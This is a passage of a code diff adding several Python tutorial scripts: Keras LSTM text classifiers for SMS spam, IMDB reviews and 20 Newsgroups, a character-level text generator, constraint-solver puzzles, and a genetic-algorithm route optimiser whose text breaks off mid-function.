+from keras.preprocessing.sequence import pad_sequences
+from keras.utils import to_categorical
+from keras.callbacks import ModelCheckpoint, TensorBoard
+from sklearn.model_selection import train_test_split
+import time
+import numpy as np
+import pickle
+
+from utils import get_embedding_vectors, get_model, SEQUENCE_LENGTH, EMBEDDING_SIZE, TEST_SIZE
+from utils import BATCH_SIZE, EPOCHS, int2label, label2int
+
+
+def load_data():
+    """
+    Loads SMS Spam Collection dataset
+    """
+    texts, labels = [], []
+    with open("data/SMSSpamCollection") as f:
+        for line in f:
+            split = line.split()
+            labels.append(split[0].strip())
+            texts.append(' '.join(split[1:]).strip())
+    return texts, labels
+
+    
+# load the data
+X, y = load_data()
+
+# Text tokenization
+# vectorizing text, turning each text into sequence of integers
+tokenizer = Tokenizer()
+tokenizer.fit_on_texts(X)
+# lets dump it to a file, so we can use it in testing
+pickle.dump(tokenizer, open("results/tokenizer.pickle", "wb"))
+
+# convert to sequence of integers
+X = tokenizer.texts_to_sequences(X)
+print(X[0])
+# convert to numpy arrays
+X = np.array(X)
+y = np.array(y)
+# pad sequences at the beginning of each sequence with 0's
+# for example if SEQUENCE_LENGTH=4:
+# [[5, 3, 2], [5, 1, 2, 3], [3, 4]]
+# will be transformed to:
+# [[0, 5, 3, 2], [5, 1, 2, 3], [0, 0, 3, 4]]
+X = pad_sequences(X, maxlen=SEQUENCE_LENGTH)
+print(X[0])
+# One Hot encoding labels
+# [spam, ham, spam, ham, ham] will be converted to:
+# [1, 0, 1, 0, 1] and then to:
+# [[0, 1], [1, 0], [0, 1], [1, 0], [0, 1]]
+
+y = [ label2int[label] for label in y ]
+y = to_categorical(y)
+
+print(y[0])
+
+# split and shuffle
+X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=TEST_SIZE, random_state=7)
+
+# constructs the model with 128 LSTM units
+model = get_model(tokenizer=tokenizer, lstm_units=128)
+
+# initialize our ModelCheckpoint and TensorBoard callbacks
+# model checkpoint for saving best weights
+model_checkpoint = ModelCheckpoint("results/spam_classifier_{val_loss:.2f}", save_best_only=True,
+                                    verbose=1)
+# for better visualization
+tensorboard = TensorBoard(f"logs/spam_classifier_{time.time()}")
+# print our data shapes
+print("X_train.shape:", X_train.shape)
+print("X_test.shape:", X_test.shape)
+print("y_train.shape:", y_train.shape)
+print("y_test.shape:", y_test.shape)
+# train the model
+model.fit(X_train, y_train, validation_data=(X_test, y_test),
+          batch_size=BATCH_SIZE, epochs=EPOCHS,
+          callbacks=[tensorboard, model_checkpoint],
+          verbose=1)
+
+# get the loss and metrics
+result = model.evaluate(X_test, y_test)
+# extract those
+loss = result[0]
+accuracy = result[1]
+precision = result[2]
+recall = result[3]
+
+print(f"[+] Accuracy: {accuracy*100:.2f}%")
+print(f"[+] Precision:   {precision*100:.2f}%")
+print(f"[+] Recall:   {recall*100:.2f}%")
+
+
+
+
+import os
+# os.environ["CUDA_DEVICE_ORDER"] = "PCI_BUS_ID"   # see issue #152
+# os.environ["CUDA_VISIBLE_DEVICES"] = "-1"
+
+# import tensorflow as tf
+
+# config = tf.ConfigProto(intra_op_parallelism_threads=5,
+#                         inter_op_parallelism_threads=5, 
+#                         allow_soft_placement=True,
+#                         device_count = {'CPU' : 1,
+#                                         'GPU' : 0}
+#                        )
+from utils import get_model, int2label, label2int
+from keras.preprocessing.sequence import pad_sequences
+
+import pickle
+import numpy as np
+
+SEQUENCE_LENGTH = 100
+
+# get the tokenizer
+tokenizer = pickle.load(open("results/tokenizer.pickle", "rb"))
+
+model = get_model(tokenizer, 128)
+model.load_weights("results/spam_classifier_0.05")
+
+def get_predictions(text):
+    sequence = tokenizer.texts_to_sequences([text])
+    # pad the sequence
+    sequence = pad_sequences(sequence, maxlen=SEQUENCE_LENGTH)
+    # get the prediction
+    prediction = model.predict(sequence)[0]
+    # one-hot encoded vector, revert using np.argmax
+    return int2label[np.argmax(prediction)]
+
+
+while True:
+    text = input("Enter the mail:")
+    # convert to sequences
+    print(get_predictions(text))
+
+
+
+
+import tqdm
+import numpy as np
+from keras.preprocessing.sequence import pad_sequences
+from keras.layers import Embedding, LSTM, Dropout, Dense
+from keras.models import Sequential
+import keras_metrics
+
+SEQUENCE_LENGTH = 100 # the length of all sequences (number of words per sample)
+EMBEDDING_SIZE = 100  # Using 100-Dimensional GloVe embedding vectors
+TEST_SIZE = 0.25 # ratio of testing set
+
+BATCH_SIZE = 64
+EPOCHS = 20 # number of epochs
+
+label2int = {"ham": 0, "spam": 1}
+int2label = {0: "ham", 1: "spam"}
+
+def get_embedding_vectors(tokenizer, dim=100):
+    embedding_index = {}
+    with open(f"data/glove.6B.{dim}d.txt", encoding='utf8') as f:
+        for line in tqdm.tqdm(f, "Reading GloVe"):
+            values = line.split()
+            word = values[0]
+            vectors = np.asarray(values[1:], dtype='float32')
+            embedding_index[word] = vectors
+
+    word_index = tokenizer.word_index
+    # we do +1 because Tokenizer() starts from 1
+    embedding_matrix = np.zeros((len(word_index)+1, dim))
+    for word, i in word_index.items():
+        embedding_vector = embedding_index.get(word)
+        if embedding_vector is not None:
+            # words not found will be 0s
+            embedding_matrix[i] = embedding_vector
+            
+    return embedding_matrix
+
+
+def get_model(tokenizer, lstm_units):
+    """
+    Constructs the model,
+    Embedding vectors => LSTM => 2 output Fully-Connected neurons with softmax activation
+    """
+    # get the GloVe embedding vectors
+    embedding_matrix = get_embedding_vectors(tokenizer)
+    model = Sequential()
+    model.add(Embedding(len(tokenizer.word_index)+1,
+              EMBEDDING_SIZE,
+              weights=[embedding_matrix],
+              trainable=False,
+              input_length=SEQUENCE_LENGTH))
+
+    model.add(LSTM(lstm_units, recurrent_dropout=0.2))
+    model.add(Dropout(0.3))
+    model.add(Dense(2, activation="softmax"))
+    # compile as rmsprop optimizer
+    # aswell as with recall metric
+    model.compile(optimizer="rmsprop", loss="categorical_crossentropy",
+                  metrics=["accuracy", keras_metrics.precision(), keras_metrics.recall()])
+    model.summary()
+    return model
+
+
+
+
+from tensorflow.keras.callbacks import TensorBoard
+
+import os
+
+from parameters import *
+from utils import create_model, load_20_newsgroup_data
+
+# create these folders if they does not exist
+if not os.path.isdir("results"):
+    os.mkdir("results")
+
+if not os.path.isdir("logs"):
+    os.mkdir("logs")
+
+if not os.path.isdir("data"):
+    os.mkdir("data")
+
+# dataset name, IMDB movie reviews dataset
+dataset_name = "20_news_group"
+# get the unique model name based on hyper parameters on parameters.py
+model_name = get_model_name(dataset_name)
+
+# load the data
+data = load_20_newsgroup_data(N_WORDS, SEQUENCE_LENGTH, TEST_SIZE, oov_token=OOV_TOKEN)
+
+model = create_model(data["tokenizer"].word_index, units=UNITS, n_layers=N_LAYERS, 
+                    cell=RNN_CELL, bidirectional=IS_BIDIRECTIONAL, embedding_size=EMBEDDING_SIZE, 
+                    sequence_length=SEQUENCE_LENGTH, dropout=DROPOUT, 
+                    loss=LOSS, optimizer=OPTIMIZER, output_length=data["y_train"][0].shape[0])
+
+model.summary()
+
+tensorboard = TensorBoard(log_dir=os.path.join("logs", model_name))
+
+history = model.fit(data["X_train"], data["y_train"],
+                    batch_size=BATCH_SIZE,
+                    epochs=EPOCHS,
+                    validation_data=(data["X_test"], data["y_test"]),
+                    callbacks=[tensorboard],
+                    verbose=1)
+
+
+model.save(os.path.join("results", model_name) + ".h5")
+
+
+
+
+from tensorflow.keras.layers import LSTM
+
+# max number of words in each sentence
+SEQUENCE_LENGTH = 300
+# N-Dimensional GloVe embedding vectors
+EMBEDDING_SIZE = 300
+# number of words to use, discarding the rest
+N_WORDS = 10000
+# out of vocabulary token
+OOV_TOKEN = None
+# 30% testing set, 70% training set
+TEST_SIZE = 0.3
+# number of CELL layers
+N_LAYERS = 1
+# the RNN cell to use, LSTM in this case
+RNN_CELL = LSTM
+# whether it's a bidirectional RNN
+IS_BIDIRECTIONAL = False
+# number of units (RNN_CELL ,nodes) in each layer
+UNITS = 128
+# dropout rate
+DROPOUT = 0.4
+### Training parameters
+LOSS = "categorical_crossentropy"
+OPTIMIZER = "adam"
+BATCH_SIZE = 64
+EPOCHS = 6
+
+def get_model_name(dataset_name):
+    # construct the unique model name
+    model_name = f"{dataset_name}-{RNN_CELL.__name__}-seq-{SEQUENCE_LENGTH}-em-{EMBEDDING_SIZE}-w-{N_WORDS}-layers-{N_LAYERS}-units-{UNITS}-opt-{OPTIMIZER}-BS-{BATCH_SIZE}-d-{DROPOUT}"
+    if IS_BIDIRECTIONAL:
+        # add 'bid' str if bidirectional
+        model_name = "bid-" + model_name
+    if OOV_TOKEN:
+        # add 'oov' str if OOV token is specified
+        model_name += "-oov"
+    return model_name
+
+
+
+
+from tensorflow.keras.callbacks import TensorBoard
+
+import os
+
+from parameters import *
+from utils import create_model, load_imdb_data
+
+# create these folders if they does not exist
+if not os.path.isdir("results"):
+    os.mkdir("results")
+
+if not os.path.isdir("logs"):
+    os.mkdir("logs")
+
+if not os.path.isdir("data"):
+    os.mkdir("data")
+
+# dataset name, IMDB movie reviews dataset
+dataset_name = "imdb"
+# get the unique model name based on hyper parameters on parameters.py
+model_name = get_model_name(dataset_name)
+
+# load the data
+data = load_imdb_data(N_WORDS, SEQUENCE_LENGTH, TEST_SIZE, oov_token=OOV_TOKEN)
+
+model = create_model(data["tokenizer"].word_index, units=UNITS, n_layers=N_LAYERS, 
+                    cell=RNN_CELL, bidirectional=IS_BIDIRECTIONAL, embedding_size=EMBEDDING_SIZE, 
+                    sequence_length=SEQUENCE_LENGTH, dropout=DROPOUT, 
+                    loss=LOSS, optimizer=OPTIMIZER, output_length=data["y_train"][0].shape[0])
+
+model.summary()
+
+tensorboard = TensorBoard(log_dir=os.path.join("logs", model_name))
+
+history = model.fit(data["X_train"], data["y_train"],
+                    batch_size=BATCH_SIZE,
+                    epochs=EPOCHS,
+                    validation_data=(data["X_test"], data["y_test"]),
+                    callbacks=[tensorboard],
+                    verbose=1)
+
+
+model.save(os.path.join("results", model_name) + ".h5")
+
+
+
+
+from tensorflow.keras.preprocessing.sequence import pad_sequences
+import numpy as np
+
+from parameters import *
+from utils import create_model, load_20_newsgroup_data, load_imdb_data
+
+import pickle
+import os
+
+# dataset name, IMDB movie reviews dataset
+dataset_name = "imdb"
+# get the unique model name based on hyper parameters on parameters.py
+model_name = get_model_name(dataset_name)
+
+# data = load_20_newsgroup_data(N_WORDS, SEQUENCE_LENGTH, TEST_SIZE, oov_token=OOV_TOKEN)
+data = load_imdb_data(N_WORDS, SEQUENCE_LENGTH, TEST_SIZE, oov_token=OOV_TOKEN)
+
+model = create_model(data["tokenizer"].word_index, units=UNITS, n_layers=N_LAYERS, 
+                    cell=RNN_CELL, bidirectional=IS_BIDIRECTIONAL, embedding_size=EMBEDDING_SIZE, 
+                    sequence_length=SEQUENCE_LENGTH, dropout=DROPOUT, 
+                    loss=LOSS, optimizer=OPTIMIZER, output_length=data["y_train"][0].shape[0])
+
+model.load_weights(os.path.join("results", f"{model_name}.h5"))
+
+
+def get_predictions(text):
+    sequence = data["tokenizer"].texts_to_sequences([text])
+    # pad the sequences
+    sequence = pad_sequences(sequence, maxlen=SEQUENCE_LENGTH)
+    # get the prediction
+    prediction = model.predict(sequence)[0]
+    print("output vector:", prediction)
+    return data["int2label"][np.argmax(prediction)]
+
+
+while True:
+    text = input("Enter your text: ")
+    prediction = get_predictions(text)
+    print("="*50)
+    print("The class is:", prediction)
+
+
+
+
+from tqdm import tqdm
+
+import numpy as np
+from tensorflow.keras.preprocessing.sequence import pad_sequences
+from tensorflow.keras.layers import Dense, Dropout, LSTM, Embedding, Bidirectional
+from tensorflow.keras.models import Sequential
+from tensorflow.keras.preprocessing.text import Tokenizer
+from tensorflow.keras.preprocessing.sequence import pad_sequences
+from tensorflow.keras.utils import to_categorical
+from sklearn.model_selection import train_test_split
+from sklearn.datasets import fetch_20newsgroups
+
+from glob import glob
+import random
+
+
+def get_embedding_vectors(word_index, embedding_size=100):
+    embedding_matrix = np.zeros((len(word_index) + 1, embedding_size))
+    with open(f"data/glove.6B.{embedding_size}d.txt", encoding="utf8") as f:
+        for line in tqdm(f, "Reading GloVe"):
+            values = line.split()
+            # get the word as the first word in the line
+            word = values[0]
+            if word in word_index:
+                idx = word_index[word]
+                # get the vectors as the remaining values in the line
+                embedding_matrix[idx] = np.array(values[1:], dtype="float32")
+    return embedding_matrix
+
+
+def create_model(word_index, units=128, n_layers=1, cell=LSTM, bidirectional=False,
+                embedding_size=100, sequence_length=100, dropout=0.3, 
+                loss="categorical_crossentropy", optimizer="adam", 
+                output_length=2):
+    """
+    Constructs a RNN model given its parameters
+    """
+    embedding_matrix = get_embedding_vectors(word_index, embedding_size)
+    model = Sequential()
+    # add the embedding layer
+    model.add(Embedding(len(word_index) + 1,
+              embedding_size,
+              weights=[embedding_matrix],
+              trainable=False,
+              input_length=sequence_length))
+
+    for i in range(n_layers):
+        if i == n_layers - 1:
+            # last layer
+            if bidirectional:
+                model.add(Bidirectional(cell(units, return_sequences=False)))
+            else:
+                model.add(cell(units, return_sequences=False))
+        else:
+            # first layer or hidden layers
+            if bidirectional:
+                model.add(Bidirectional(cell(units, return_sequences=True)))
+            else:
+                model.add(cell(units, return_sequences=True))
+        model.add(Dropout(dropout))
+
+    model.add(Dense(output_length, activation="softmax"))
+    # compile the model
+    model.compile(optimizer=optimizer, loss=loss, metrics=["accuracy"])
+    return model
+
+
+    
+def load_imdb_data(num_words, sequence_length, test_size=0.25, oov_token=None):
+    # read reviews
+    reviews = []
+    with open("data/reviews.txt") as f:
+        for review in f:
+            review = review.strip()
+            reviews.append(review)
+
+    labels = []
+    with open("data/labels.txt") as f:
+        for label in f:
+            label = label.strip()
+            labels.append(label)
+
+
+    # tokenize the dataset corpus, delete uncommon words such as names, etc.
+    tokenizer = Tokenizer(num_words=num_words, oov_token=oov_token)
+    tokenizer.fit_on_texts(reviews)
+    X = tokenizer.texts_to_sequences(reviews)
+    
+    X, y = np.array(X), np.array(labels)
+
+    # pad sequences with 0's
+    X = pad_sequences(X, maxlen=sequence_length)
+
+    # convert labels to one-hot encoded
+    y = to_categorical(y)
+
+    # split data to training and testing sets
+    X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=test_size, random_state=1)
+
+    data = {}
+
+    data["X_train"] = X_train
+    data["X_test"]= X_test
+    data["y_train"] = y_train
+    data["y_test"] = y_test
+    data["tokenizer"] = tokenizer
+    data["int2label"] =  {0: "negative", 1: "positive"}
+    data["label2int"] = {"negative": 0, "positive": 1}
+    
+    return data
+
+
+def load_20_newsgroup_data(num_words, sequence_length, test_size=0.25, oov_token=None):
+    # load the 20 news groups dataset
+    # shuffling the data & removing each document's header, signature blocks and quotation blocks
+    dataset = fetch_20newsgroups(subset="all", shuffle=True, remove=("headers", "footers", "quotes"))
+    documents = dataset.data
+    labels = dataset.target
+
+    tokenizer = Tokenizer(num_words=num_words, oov_token=oov_token)
+    tokenizer.fit_on_texts(documents)
+    X = tokenizer.texts_to_sequences(documents)
+    
+    X, y = np.array(X), np.array(labels)
+
+    # pad sequences with 0's
+    X = pad_sequences(X, maxlen=sequence_length)
+
+    # convert labels to one-hot encoded
+    y = to_categorical(y)
+
+    # split data to training and testing sets
+    X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=test_size, random_state=1)
+
+    data = {}
+
+    data["X_train"] = X_train
+    data["X_test"]= X_test
+    data["y_train"] = y_train
+    data["y_test"] = y_test
+    data["tokenizer"] = tokenizer
+
+    data["int2label"] = { i: label for i, label in enumerate(dataset.target_names) }
+    data["label2int"] = { label: i for i, label in enumerate(dataset.target_names) }
+    
+    return data
+
+
+
+
+import numpy as np
+import pickle
+import tqdm
+from keras.models import Sequential
+from keras.layers import Dense, LSTM, Dropout, Activation
+from keras.callbacks import ModelCheckpoint
+
+
+
+message = """
+Please choose which model you want to generate text with:
+1 - Alice's wonderland
+2 - Python Code
+"""
+choice = int(input(message))
+assert choice == 1 or choice == 2
+
+if choice == 1:
+    char2int = pickle.load(open("data/wonderland-char2int.pickle", "rb"))
+    int2char = pickle.load(open("data/wonderland-int2char.pickle", "rb"))
+elif choice == 2:
+    char2int = pickle.load(open("data/python-char2int.pickle", "rb"))
+    int2char = pickle.load(open("data/python-int2char.pickle", "rb"))
+
+sequence_length = 100
+n_unique_chars = len(char2int)
+
+# building the model
+model = Sequential([
+    LSTM(256, input_shape=(sequence_length, n_unique_chars), return_sequences=True),
+    Dropout(0.3),
+    LSTM(256),
+    Dense(n_unique_chars, activation="softmax"),
+])
+
+if choice == 1:
+    model.load_weights("results/wonderland-v2-0.75.h5")
+elif choice == 2:
+    model.load_weights("results/python-v2-0.30.h5")
+
+seed = ""
+print("Enter the seed, enter q to quit, maximum 100 characters:")
+while True:
+    result = input("")
+    if result.lower() == "q":
+        break
+    seed += f"{result}\n"
+seed = seed.lower()
+n_chars = int(input("Enter number of characters you want to generate: "))
+
+# generate 400 characters
+generated = ""
+for i in tqdm.tqdm(range(n_chars), "Generating text"):
+    # make the input sequence
+    X = np.zeros((1, sequence_length, n_unique_chars))
+    for t, char in enumerate(seed):
+        X[0, (sequence_length - len(seed)) + t, char2int[char]] = 1
+    # predict the next character
+    predicted = model.predict(X, verbose=0)[0]
+    # converting the vector to an integer
+    next_index = np.argmax(predicted)
+    # converting the integer to a character
+    next_char = int2char[next_index]
+    # add the character to results
+    generated += next_char
+    # shift seed and the predicted character
+    seed = seed[1:] + next_char
+
+print("Generated text:")
+print(generated)
+
+
+
+
+import tensorflow as tf
+import numpy as np
+import os
+import pickle
+
+SEQUENCE_LENGTH = 200
+FILE_PATH = "data/python_code.py"
+BASENAME = os.path.basename(FILE_PATH)
+
+text = open(FILE_PATH).read()
+n_chars = len(text)
+vocab = ''.join(sorted(set(text)))
+print("vocab:", vocab)
+n_unique_chars = len(vocab)
+print("Number of characters:", n_chars)
+print("Number of unique characters:", n_unique_chars)
+
+# dictionary that converts characters to integers
+char2int = {c: i for i, c in enumerate(vocab)}
+# dictionary that converts integers to characters
+int2char = {i: c for i, c in enumerate(vocab)}
+
+# save these dictionaries for later generation
+pickle.dump(char2int, open(f"{BASENAME}-char2int.pickle", "wb"))
+pickle.dump(int2char, open(f"{BASENAME}-int2char.pickle", "wb"))
+
+encoded_text = np.array([char2int[c] for c in text])
+
+
+
+
+import tensorflow as tf
+import numpy as np
+import os
+import pickle
+from tensorflow.keras.models import Sequential
+from tensorflow.keras.layers import Dense, LSTM, Dropout
+from tensorflow.keras.callbacks import ModelCheckpoint
+from string import punctuation
+
+sequence_length = 100
+BATCH_SIZE = 128
+EPOCHS = 30
+# dataset file path
+FILE_PATH = "data/wonderland.txt"
+# FILE_PATH = "data/python_code.py"
+BASENAME = os.path.basename(FILE_PATH)
+
+# commented because already downloaded
+# import requests
+# content = requests.get("http://www.gutenberg.org/cache/epub/11/pg11.txt").text
+# open("data/wonderland.txt", "w", encoding="utf-8").write(content)
+
+# read the data
+text = open(FILE_PATH, encoding="utf-8").read()
+# remove caps, comment this code if you want uppercase characters as well
+text = text.lower()
+# remove punctuation
+text = text.translate(str.maketrans("", "", punctuation))
+# print some stats
+n_chars = len(text)
+vocab = ''.join(sorted(set(text)))
+print("unique_chars:", vocab)
+n_unique_chars = len(vocab)
+print("Number of characters:", n_chars)
+print("Number of unique characters:", n_unique_chars)
+
+# dictionary that converts characters to integers
+char2int = {c: i for i, c in enumerate(vocab)}
+# dictionary that converts integers to characters
+int2char = {i: c for i, c in enumerate(vocab)}
+
+# save these dictionaries for later generation
+pickle.dump(char2int, open(f"{BASENAME}-char2int.pickle", "wb"))
+pickle.dump(int2char, open(f"{BASENAME}-int2char.pickle", "wb"))
+
+# convert all text into integers
+encoded_text = np.array([char2int[c] for c in text])
+# construct tf.data.Dataset object
+char_dataset = tf.data.Dataset.from_tensor_slices(encoded_text)
+# print first 5 characters
+for char in char_dataset.take(5):
+    print(char.numpy())
+
+# build sequences by batching
+sequences = char_dataset.batch(2*sequence_length + 1, drop_remainder=True)
+
+def split_sample(sample):
+    ds = tf.data.Dataset.from_tensors((sample[:sequence_length], sample[sequence_length]))
+    for i in range(1, (len(sample)-1) // 2):
+        input_ = sample[i: i+sequence_length]
+        target = sample[i+sequence_length]
+        other_ds = tf.data.Dataset.from_tensors((input_, target))
+        ds = ds.concatenate(other_ds)
+    return ds
+
+def one_hot_samples(input_, target):
+    return tf.one_hot(input_, n_unique_chars), tf.one_hot(target, n_unique_chars)
+
+sentences = []
+y_train = []
+for i in range(0, len(text) - sequence_length):
+    sentences.append(text[i: i + sequence_length])
+    y_train.append(text[i+sequence_length])
+print("Number of sentences:", len(sentences))
+
+# vectorization
+X = np.zeros((len(sentences), sequence_length, n_unique_chars))
+y = np.zeros((len(sentences), n_unique_chars))
+
+for i, sentence in enumerate(sentences):
+    for t, char in enumerate(sentence):
+        X[i, t, char2int[char]] = 1
+        y[i, char2int[y_train[i]]] = 1
+
+print("X.shape:", X.shape)
+
+# building the model
+# model = Sequential([
+#     LSTM(128, input_shape=(sequence_length, n_unique_chars)),
+#     Dense(n_unique_chars, activation="softmax"),
+# ])
+
+# a better model (slower to train obviously)
+model = Sequential([
+    LSTM(256, input_shape=(sequence_length, n_unique_chars), return_sequences=True),
+    Dropout(0.3),
+    LSTM(256),
+    Dense(n_unique_chars, activation="softmax"),
+])
+
+# model.load_weights("results/wonderland-v2-2.48.h5")
+
+model.summary()
+model.compile(loss="categorical_crossentropy", optimizer="adam", metrics=["accuracy"])
+
+if not os.path.isdir("results"):
+    os.mkdir("results")
+
+checkpoint = ModelCheckpoint("results/wonderland-v2-{loss:.2f}.h5", verbose=1)
+
+# train the model
+model.fit(X, y, batch_size=BATCH_SIZE, epochs=EPOCHS, callbacks=[checkpoint])
+
+
+
+
+from constraint import Problem, Domain, AllDifferentConstraint
+import matplotlib.pyplot as plt
+import numpy as np
+
+
+def _get_pairs(variables):
+        work = list(variables)
+        pairs = [ (work[i], work[i+1]) for i in range(len(work)-1) ]
+        return pairs
+
+def n_queens(n=8):
+
+    def not_in_diagonal(a, b):
+        result = True
+        for i in range(1, n):
+            result = result and ( a != b + i )
+        return result
+
+    problem = Problem()
+    variables = { f'x{i}' for i in range(n) }
+    problem.addVariables(variables, Domain(set(range(1, n+1))))
+    problem.addConstraint(AllDifferentConstraint())
+    for pair in _get_pairs(variables):
+        problem.addConstraint(not_in_diagonal, pair)
+    return problem.getSolutions()
+
+
+def magic_square(n=3):
+
+    def all_equal(*variables):
+        square = np.reshape(variables, (n, n))
+        diagonal = sum(np.diagonal(square))
+        b = True
+        for i in range(n):
+            b = b and sum(square[i, :]) == diagonal 
+            b = b and sum(square[:, i]) == diagonal
+        if b:
+            print(square)
+        return b
+
+    problem = Problem()
+    variables = { f'x{i}{j}' for i in range(1, n+1) for j in range(1, n+1) }
+    problem.addVariables(variables, Domain(set(range(1, (n**2 + 2)))))
+    problem.addConstraint(all_equal, variables)
+    problem.addConstraint(AllDifferentConstraint())
+    return problem.getSolutions()
+
+
+
+def plot_queens(solutions):
+    for solution in solutions:
+        for row, column in solution.items():
+            x = int(row.lstrip('x'))
+            y = column
+            plt.scatter(x, y, s=70)
+        plt.grid()
+        plt.show()
+
+if __name__ == "__main__":
+    # solutions = n_queens(n=12)
+    # print(solutions)
+    # plot_queens(solutions)
+
+    solutions = magic_square(n=4)
+    for solution in solutions:
+        print(solution)
+
+
+
+
+import numpy as np
+import random
+import operator
+import pandas as pd
+import matplotlib.pyplot as plt
+import seaborn
+from matplotlib import animation
+from realtime_plot import realtime_plot
+from threading import Thread, Event
+from time import sleep
+
+seaborn.set_style("dark")
+
+stop_animation = Event()
+
+# def animate_cities_and_routes():
+#     global route
+
+#     def wrapped():
+#         # create figure
+#         sleep(3)
+#         print("thread:", route)
+#         figure = plt.figure(figsize=(14, 8))
+#         ax1 = figure.add_subplot(1, 1, 1)
+
+#         def animate(i):
+#             ax1.title.set_text("Real time routes")
+#             for city in route:
+#                 ax1.scatter(city.x, city.y, s=70, c='b')
+
+#             ax1.plot([ city.x for city in route ], [city.y for city in route], c='r')
+            
+#         animation.FuncAnimation(figure, animate, interval=100)
+#         plt.show()
+#     t = Thread(target=wrapped)
+#     t.start()
+
+def plot_routes(initial_route, final_route):
+    _, ax = plt.subplots(nrows=1, ncols=2)
+
+    for col, route in zip(ax, [("Initial Route", initial_route), ("Final Route", final_route) ]):
+        col.title.set_text(route[0])
+        route = route[1]
+        for city in route:
+            col.scatter(city.x, city.y, s=70, c='b')
+
+        col.plot([ city.x for city in route ], [city.y for city in route], c='r')
+        col.plot([route[-1].x, route[0].x], [route[-1].x, route[-1].y])
+    
+    plt.show()
+
+def animate_progress():
+    global route
+    global progress
+    global stop_animation
+
+    def animate():
+        # figure = plt.figure()
+        # ax1 = figure.add_subplot(1, 1, 1)
+        figure, ax1 = plt.subplots(nrows=1, ncols=2)
+        while True:
+
+            ax1[0].clear()
+            ax1[1].clear()
+
+            # current routes and cities
+            ax1[0].title.set_text("Current routes")
+            
+
+            for city in route:
+                ax1[0].scatter(city.x, city.y, s=70, c='b')
+
+            ax1[0].plot([ city.x for city in route ], [city.y for city in route], c='r')
+            ax1[0].plot([route[-1].x, route[0].x], [route[-1].y, route[0].y], c='r')
+
+            # current distance graph
+            ax1[1].title.set_text("Current distance")
+            ax1[1].plot(progress)
+            ax1[1].set_ylabel("Distance")
+            ax1[1].set_xlabel("Generation")
+
+            plt.pause(0.05)
+
+
+            if stop_animation.is_set():
+                break
+        plt.show()
+
+    Thread(target=animate).start()
+
+
+class City:
+    def __init__(self, x, y):
+        self.x = x
+        self.y = y
+
+    def distance(self, city):
+        """Returns distance between self city and city"""
+        x = abs(self.x - city.x)
+        y = abs(self.y - city.y)
+        return np.sqrt(x ** 2 + y ** 2)
+
+    def __sub__(self, city):
+        return self.distance(city)
+
+    def __repr__(self):
+        return f"({self.x}, {self.y})"
+
+    def __str__(self):
+        return self.__repr__()
+
+
+class Fitness:
+    def __init__(self, route):
+        self.route = route
+
+    def distance(self):
+        distance = 0
+        for i in range(len(self.route)):
+            from_city = self.route[i]
+            to_city = self.route[i+1] if i+i < len(self.route) else self.route[0]
+            distance += (from_city - to_city)
+        return distance
+
+    def fitness(self):
+        return 1 / self.distance()
+
+
+def generate_cities(size):
+    cities = []
+    for i in range(size):
+        x = random.randint(0, 200)
+        y = random.randint(0, 200)
+
+        if 40 < x < 160:
+            if 0.5 <= random.random():
+                y = random.randint(0, 40)
+            else:
+                y = random.randint(160, 200)
+        elif 40 < y < 160:
+            if 0.5 <= random.random():
+                x = random.randint(0, 40)
+            else:
+                x = random.randint(160, 200)
+
+        cities.append(City(x, y))
+    return cities
+    # return [ City(x=random.randint(0, 200), y=random.randint(0, 200)) for i in range(size) ]
+
+
+def create_route(cities):
+    return random.sample(cities, len(cities))
+
+
+def initial_population(popsize, cities):
+    return [ create_route(cities) for i in range(popsize) ]
+
+
+def sort_routes(population):
+    """This function calculates the fitness of each route in population
+    And returns a population sorted by its fitness in descending order"""
+
+    result = [ (i, Fitness(route).fitness()) for i, route in enumerate(population) ]
+    return sorted(result, key=operator.itemgetter(1), reverse=True)
+
+
+def selection(population, elite_size):
+    sorted_pop = sort_routes(population)
+    df = pd.DataFrame(np.array(sorted_pop), columns=["Index", "Fitness"])
+    # calculates the cumulative sum
+    # example:
+    # [5, 6, 7] => [5, 11, 18]
+    df['cum_sum']  = df['Fitness'].cumsum()
+    # calculates the cumulative percentage
+    # example:
+    # [5, 6, 7] => [5/18, 11/18, 18/18]
+    # [5, 6, 7] => [27.77%, 61.11%, 100%]
+    df['cum_perc'] = 100 * df['cum_sum'] / df['Fitness'].sum()
+
+    result = [ sorted_pop[i][0] for i in range(elite_size) ]
+
+    for i in range(len(sorted_pop) - elite_size):
+        pick = random.random() * 100
+        for i in range(len(sorted_pop)):
+            if pick <= df['cum_perc'][i]:
+                result.append(sorted_pop[i][0])
+                break
+    return [ population[index] for index in result ]
+
+
+def breed(parent1, parent2):
+    child1, child2 = [], []
+
+    gene_A = random.randint(0, len(parent1))
+    gene_B = random.randint(0, len(parent2))
+
+    start_gene = min(gene_A, gene_B)
+    end_gene   = max(gene_A, gene_B)
+
+    for i in range(start_gene, end_gene):
+        child1.append(parent1[i])
+    
+    child2 = [ item for item in parent2 if item not in child1 ]
+    return child1 + child2
+
+
+def breed_population(selection, elite_size):
+    pool = random.sample(selection, len(selection))
+
+    # for i in range(elite_size):
+    #     children.append(selection[i])
+    children = [selection[i] for i in range(elite_size)]
+    children.extend([breed(pool[i], pool[len(selection)-i-1]) for i in range(len(selection) - elite_size)])
+
+    # for i in range(len(selection) - elite_size):
+    #     child = breed(pool[i], pool[len(selection)-i-1])
+    #     children.append(child)
+
+    return children
+
+
+def mutate(route, mutation_rate):
+    route_length = len(route)
+    for swapped in range(route_length):
+        if(random.random() < mutation_rate):
+            swap_with = random.randint(0, route_length-1)
+            route[swapped], route[swap_with] = route[swap_with], route[swapped]
+    return route
+
+
+def mutate_population(population, mutation_rate):
+    return [ mutate(route, mutation_rate) for route in population ]
+
+
+def next_gen(current_gen, elite_size, mutation_rate):
+    select = selection(population=current_gen, elite_size=elite_size)
+    children = breed_population(selection=select, elite_size=elite_size)
+    return mutate_population(children, mutation_rate)
+
+
+def genetic_algorithm(cities, popsize, elite_size, mutation_rate, generations, plot=True, prn=True):
+    global route
+    global progress
+
+    population = initial_population(popsize=popsize, cities=cities)
+    if plot:
+        animate_progress()
+    sorted_pop = sort_routes(population)
+    initial_route = population[sorted_pop[0][0]]
+    distance = 1 / sorted_pop[0][1]
+    if prn:
+        print(f"Initial distance: {distance}")
+    try:
+        if plot:
+            progress = [ distance ]
+            for i in range(generations):
+                population = next_gen(population, elite_size, mutation_rate)
+                sorted_pop = sort_routes(population)
